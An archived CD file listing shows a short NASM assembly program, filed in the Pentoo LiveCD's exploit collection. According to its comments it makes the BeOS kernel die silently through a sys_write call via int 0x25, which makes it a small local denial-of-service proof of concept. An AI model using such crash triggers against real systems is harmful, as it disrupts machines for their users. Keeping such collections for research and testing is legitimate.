home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / beos / local / bedie.asm.txt < prev   
Text File  |  2005-02-12  |  475b  |  30 lines

  1. ;Copyright (c) 2000 Konstantin Boldyshev <konst@linuxassembly.org>
  2. ;
  3. ;This was an attempt to write string to stdout, but..
  4. ;BeOS dies silently on such a program -- kernel bug
  5. ;
  6. ;to compile:
  7. ;
  8. ;nasm -f elf bedie.asm
  9. ;ld -s -o bedie bedie.o
  10.  
  11. section    .text
  12.  
  13. global    _start
  14.  
  15. _start:
  16.  
  17.     push    dword msglen    ;message length
  18.     push    dword msg    ;message
  19.     push    dword 1        ;stdout
  20.     mov    eax,0x03    ;sys_write
  21.     int    0x25
  22.  
  23.     mov    eax,0x3f    ;sys_exit
  24.     int    0x25
  25.  
  26. msg    db    "Suicide",0xa
  27. msglen    equ    $ - msg
  28.  
  29.  
  30.